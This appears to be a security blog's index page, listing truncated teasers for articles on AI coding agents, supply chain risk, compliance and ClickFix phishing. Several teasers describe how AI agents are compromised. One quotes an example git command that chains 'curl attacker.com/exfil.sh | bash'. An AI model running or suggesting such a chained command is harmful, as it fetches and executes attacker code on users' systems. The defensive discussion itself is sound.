Expert perspectives on application security, compliance, and emerging threats
ResearchYou ve probably heard the pitch: Our AI agent will analyze your cloud infrastructure and find security gaps you didn t know existed. What you don t hear is what happens when that agent misclassifies a
ResearchUnderstanding the Concerns Recently, I ve observed heated debates among security engineers about whether to restrict GitHub Copilot in their environments. The discussions often lack concrete data on h
ResearchThe Challenge Your compliance team just finished mapping your organization s software dependencies. The audit revealed something uncomfortable: seventeen of your critical libraries are maintained by s
ResearchYour security scanning tool flags a malicious commit. You block it by hash. Two hours later, the same code appears under a different hash with GitHub s green Verified checkmark intact. The signature d
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ResearchWhen Wiz published the GhostApproval pattern on July 8, they exposed a significant security issue: six major AI coding assistants were allowing malicious repositories to trick developers into granting
ResearchThese questions come from security engineers and developers who ve sat through too many supply chain security is important presentations without getting practical answers. You re building software tha
ResearchYour security team is evaluating AI systems that don t just analyze threats but conduct their own research, generate tools, and make operational decisions. Before you deploy autonomous AI in productio
ResearchYour AI coding agent just installed a new skill from the marketplace. The static scanner gave it a clean bill of health. Three days later, you re investigating why production data is leaving your netw
ResearchThe Problem: Why This Matters Now Your developers are using AI coding assistants, connecting them to databases, APIs, and internal systems. They re loading third-party skills that execute code in thei
ResearchYour compliance team is hearing the same message from every business unit: deploy AI faster. But when you ask about security controls, threat models, or data governance, you get blank stares. This gap
ResearchYour scanner flags 847 vulnerabilities on Monday morning. By Wednesday, your developers have fixed three and opened 23 Slack threads debating the rest. The security team insists everything is critical
ResearchYou are facing a critical decision: whether to allow AI-generated code into production environments. Nearly half of surveyed organizations already run this code in production, while the other half hes
ResearchThese myths persist because they allow teams to avoid uncomfortable conversations about accountability. When your auditor asks who owns security for the 247 open source packages in your application, p
ResearchYour endpoint detection just blocked another phishing email. Your web proxy flagged a suspicious download. But ClickFix attacks don t look like traditional malware delivery—they mimic legitimate troub
ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
ResearchYou re building AI-powered research tools. Your agents pull from Reddit, Stack Overflow, and community forums because that s where real-world knowledge lives. But here s what Cornell Tech just proved:
